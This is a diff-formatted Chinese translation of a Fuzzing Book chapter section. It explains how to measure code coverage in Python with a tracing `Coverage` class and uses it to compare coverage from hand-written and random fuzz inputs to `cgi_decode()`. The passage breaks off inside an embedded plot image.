+# 29          else:
+  30              t += c
+  31          i += 1
+  32      return t
+
+```
+
+我们看到许多行（尤其是注释）尚未执行，仅仅是因为它们不是可执行的。 但是，我们还看到`if c == '%'`下的行尚未执行*。 如果`"a+b"`是到目前为止我们唯一的测试用例，那么缺少的覆盖范围现在将鼓励我们创建另一个实际上覆盖这些行的测试用例。*
+
+## 覆盖等级
+
+在本书中，我们将一次又一次地使用覆盖率-*测量*不同测试生成技术的有效性，同时*指导*测试生成朝代码覆盖率发展。 之前我们使用全局`coverage`变量的实现有点麻烦。 因此，我们实现了一些功能，这些功能将有助于我们轻松衡量覆盖率。
+
+获得覆盖率的关键思想是利用Python `with`语句。 一般形式
+
+```py
+with OBJECT [as VARIABLE]:
+    BODY
+
+```
+
+在定义了`OBJECT`（并存储在`VARIABLE`中）的情况下执行`BODY`。 有趣的是，在`BODY`的开头和结尾，会自动调用特殊方法`OBJECT.__enter__()`和`OBJECT.__exit__()`； 即使`BODY`引发异常。 这使我们可以定义`Coverage`对象，其中`Coverage.__enter__()`自动打开跟踪，而`Coverage.__exit__()`自动关闭跟踪。 跟踪之后，我们可以使用特殊方法来访问coverage。 这是在使用过程中的样子：
+
+```py
+with Coverage() as cov:
+    function_to_be_traced()
+c = cov.coverage()
+
+```
+
+在此，跟踪在`function_to_be_traced()`期间自动打开，在`with`块之后再次关闭。 之后，我们可以访问执行的行集。
+
+这是所有实现过程的全部内容。 您不必全力以赴。 您知道如何使用它即可：
+
+```py
+class Coverage(object):
+    # Trace function
+    def traceit(self, frame, event, arg):
+        if self.original_trace_function is not None:
+            self.original_trace_function(frame, event, arg)
+
+        if event == "line":
+            function_name = frame.f_code.co_name
+            lineno = frame.f_lineno
+            self._trace.append((function_name, lineno))
+
+        return self.traceit
+
+    def __init__(self):
+        self._trace = []
+
+    # Start of `with` block
+    def __enter__(self):
+        self.original_trace_function = sys.gettrace()
+        sys.settrace(self.traceit)
+        return self
+
+    # End of `with` block
+    def __exit__(self, exc_type, exc_value, tb):
+        sys.settrace(self.original_trace_function)
+
+    def trace(self):
+        """The list of executed lines, as (function_name, line_number) pairs"""
+        return self._trace
+
+    def coverage(self):
+        """The set of executed lines, as (function_name, line_number) pairs"""
+        return set(self.trace())
+
+```
+
+让我们使用它：
+
+```py
+with Coverage() as cov:
+    cgi_decode("a+b")
+
+print(cov.coverage())
+
+```
+
+```py
+{('cgi_decode', 12), ('cgi_decode', 20), ('cgi_decode', 30), ('cgi_decode', 21), ('cgi_decode', 32), ('cgi_decode', 31), ('cgi_decode', 10), ('__exit__', 25), ('cgi_decode', 11), ('cgi_decode', 18), ('cgi_decode', 9), ('cgi_decode', 19), ('cgi_decode', 16), ('cgi_decode', 15), ('cgi_decode', 17)}
+
+```
+
+如您所见，`Coverage()`类不仅跟踪执行的行，而且跟踪函数名。 如果您有一个跨多个文件的程序，这将很有用。
+
+## 比较覆盖率
+
+由于我们将覆盖范围表示为一组已执行的行，因此我们也可以在其上应用*设置操作*。 例如，我们可以找出单个测试用例涵盖哪些行，而其他测试用例则不行：
+
+```py
+with Coverage() as cov_plus:
+    cgi_decode("a+b")
+with Coverage() as cov_standard:
+    cgi_decode("abc")
+
+cov_plus.coverage() - cov_standard.coverage()
+
+```
+
+```py
+{('cgi_decode', 20)}
+
+```
+
+这是仅在`'a+b'`输入中执行的代码中的单行。
+
+我们还可以比较集合以找出哪些行仍需要覆盖。 让我们将`cov_max`定义为我们可以达到的最大覆盖范围。 （在这里，我们通过执行已经存在的“好”测试用例来执行此操作。在实践中，我们将静态分析代码结构，我们在[中引入了有关符号测试](SymbolicFuzzer.html)的章节。）
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+with Coverage() as cov_max:
+    cgi_decode('+')
+    cgi_decode('%20')
+    cgi_decode('abc')
+    try:
+        cgi_decode('%?a')
+    except:
+        pass
+
+```
+
+然后，我们可以轻松查看哪些用例尚未覆盖*而不是*的行：
+
+```py
+cov_max.coverage() - cov_plus.coverage()
+
+```
+
+```py
+{('cgi_decode', 22),
+ ('cgi_decode', 23),
+ ('cgi_decode', 24),
+ ('cgi_decode', 25),
+ ('cgi_decode', 26),
+ ('cgi_decode', 28)}
+
+```
+
+同样，这些将是处理`"%xx"`的行，我们尚未在输入中包含这些行。
+
+## 基本模糊测试的范围
+
+现在，我们可以使用覆盖范围跟踪来评估测试方法的*有效性*-特别是当然要测试*生成*方法。 我们的挑战是仅使用随机输入就可以在`cgi_decode()`中获得最大的覆盖范围。 原则上，我们应该*最终*到达那里，因为最终我们将产生出宇宙中所有可能的弦-但是这到底是多长时间？ 为此，让我们在`cgi_decode()`上仅运行一个模糊的迭代：
+
+```py
+from [Fuzzer](Fuzzer.html) import fuzzer
+
+```
+
+```py
+sample = fuzzer()
+sample
+
+```
+
+```py
+'!7#%"*#0=)$;%6*;>638:*>80"=</>(/*:-(2<4 !:5*6856&?""11<7+%<%7,4.8,*+&,,$,."'
+
+```
+
+这是我们实现的调用和范围。 我们将`cgi_decode()`包装在`try...except`块中，以便我们可以忽略由非法`%xx`格式引发的`ValueError`异常。
+
+```py
+with Coverage() as cov_fuzz:
+    try:
+        cgi_decode(sample)
+    except:
+        pass
+cov_fuzz.coverage()
+
+```
+
+```py
+{('__exit__', 25),
+ ('cgi_decode', 9),
+ ('cgi_decode', 10),
+ ('cgi_decode', 11),
+ ('cgi_decode', 12),
+ ('cgi_decode', 15),
+ ('cgi_decode', 16),
+ ('cgi_decode', 17),
+ ('cgi_decode', 18),
+ ('cgi_decode', 19),
+ ('cgi_decode', 21),
+ ('cgi_decode', 22),
+ ('cgi_decode', 23),
+ ('cgi_decode', 24),
+ ('cgi_decode', 28),
+ ('cgi_decode', 30),
+ ('cgi_decode', 31)}
+
+```
+
+这已经是最大覆盖范围了吗？ 显然，仍然缺少以下行：
+
+```py
+cov_max.coverage() - cov_fuzz.coverage()
+
+```
+
+```py
+{('cgi_decode', 20),
+ ('cgi_decode', 25),
+ ('cgi_decode', 26),
+ ('cgi_decode', 32)}
+
+```
+
+让我们再试一次，增加100个随机输入的覆盖范围。 我们使用数组`cumulative_coverage`存储随着时间的推移所达到的覆盖范围； `cumulative_coverage[0]`是输入1之后覆盖的总行数，`cumulative_coverage[1]`是输入1-2之后覆盖的总行数，依此类推。
+
+```py
+trials = 100
+
+```
+
+```py
+def population_coverage(population, function):
+    cumulative_coverage = []
+    all_coverage = set()
+
+    for s in population:
+        with Coverage() as cov:
+            try:
+                function(s)
+            except:
+                pass
+        all_coverage |= cov.coverage()
+        cumulative_coverage.append(len(all_coverage))
+
+    return all_coverage, cumulative_coverage
+
+```
+
+让我们创建一百个输入来确定覆盖范围如何增加：
+
+```py
+def hundred_inputs():
+    population = []
+    for i in range(trials):
+        population.append(fuzzer())
+    return population
+
+```
+
+以下是每个输入的覆盖率如何增加：
+
+```py
+all_coverage, cumulative_coverage = population_coverage(
+    hundred_inputs(), cgi_decode)
+
+```
+
+```py
+%matplotlib inline
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+plt.plot(cumulative_coverage)
+plt.title('Coverage of cgi_decode() with random inputs')
+plt.xlabel('# of inputs')
+plt.ylabel('lines covered')
+
+```
+
+```py
+Text(0,0.5,'lines covered')
+
+```
+
+![](data:image/png;base64,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